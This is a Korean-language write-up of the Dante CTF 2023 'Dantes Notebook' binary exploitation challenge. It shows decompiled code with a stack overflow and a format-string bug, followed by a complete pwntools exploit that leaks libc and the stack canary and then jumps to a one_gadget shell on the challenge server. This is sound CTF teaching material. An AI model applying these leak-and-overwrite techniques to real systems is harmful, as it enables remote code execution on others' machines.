Dante CTF 2023 - Dantes Notebook (overflow)

During his trip to Hell Dante met many souls. He took notes about them in this diary.
Author: lillo
Medium
challs.dantectf.it:31530/tcp

  • [29 solves / 435 points]

Analysis

heap 문제인 줄 알았으나 아니었다. 분석한 결과, 간단한 fsb가 터지고, overflow나는 곳이 두 곳 있다. 하지만 한 곳만 흐름을 조작 가능하다. overflow로 흐름을 조작할 때, canary가 존재하기 때문에 fsb로 canary를 leak하기로 했다.

1
2
3
4
5
6
struct Souls
{
char name[32];
int num;
char date[11];
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
unsigned __int64 add_soul()
{
unsigned int idx; // [rsp+0h] [rbp-40h]
int v2; // [rsp+4h] [rbp-3Ch]
struct Souls *dest; // [rsp+8h] [rbp-38h]
char src[8]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]

v8 = __readfsqword(0x28u);
*src = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
printf("Notebook position [1-5]: ");
idx = read_int() - 1;
if ( idx < 5 )
{
if ( souls[idx] )
{
puts("Invalid slot!\n");
}
else
{
dest = malloc(68uLL);
if ( !dest )
{
puts("Error!\n");
_exit(1);
}
printf("Soul name: ");
read_string(src, 0x20uLL);
if ( src[0] )
{
strncpy(dest->name, src, 0x20uLL);
printf("Circle where I found him/her [1-9]: ");
v2 = read_int();
if ( v2 > 0 && v2 <= 9 )
{
dest->num = v2;
memset(src, 0, 0x20uLL);
printf("When I met him/her [dd/Mon/YYYY]: ");
read_string(src, 0x60uLL); // bof
if ( strlen(src) != 11 && !sanitize_date(src) )
{
puts("Invalid date!\n");
_exit(1);
}
strncpy(dest->date, src, 12uLL);
souls[idx] = dest;
puts("Soul registered!");
}
else
{
puts("Invalid circle!\n");
}
}
else
{
puts("Invalid name!\n");
}
}
}
else
{
puts("Invalid position!\n");
}
return v8 - __readfsqword(0x28u);
}

Exploit

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

# p = process('./notebookp')
p = remote('challs.dantectf.it', 31530)
e = ELF('./notebookp')
libc = ELF('./libc.so.6')

def add(idx, name, num, date):
p.sendlineafter('>', str(1))
p.sendlineafter(':', str(idx))
p.sendlineafter(':', name)
p.sendlineafter(':', str(num))
p.sendlineafter(':', date)

def remove(idx):
p.sendlineafter('>', str(2))
p.sendlineafter(':', str(idx))

def edit(idx, name, num, date):
p.sendlineafter('>', str(3))
p.sendlineafter(':', str(idx))
p.sendlineafter(':', name)
p.sendlineafter(':', str(num))
p.sendlineafter(':', date)

def view(idx):
p.sendlineafter('>', str(4))
p.sendlineafter(':', str(idx)) # fsb

# 4번
# libc, pie, stack
add(1, b'a'*31, 1 , b'aa/sss/%3$p')
view(1)

p.recvuntil('/0x')
libc.address = int(p.recv(12), 16) - 0x114a37
info('libc.address @ ' +hex(libc.address))

add(2, b'a'*31, 1, b"aa/sss/%9$p")

view(2)
p.recvuntil('/0x')
canary = int(p.recv(16), 16)
info('canary @ ' +hex(canary))

one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
pause()

date = b'vv/vvv/1234'
date += b'\x00'
date += b'a'*(0x30-0x8-len(date))
date += p64(canary)
date += p64(0)
date += p64(libc.address + one_gadget[0])

add(3, b'a'*31, 1, date)

p.interactive()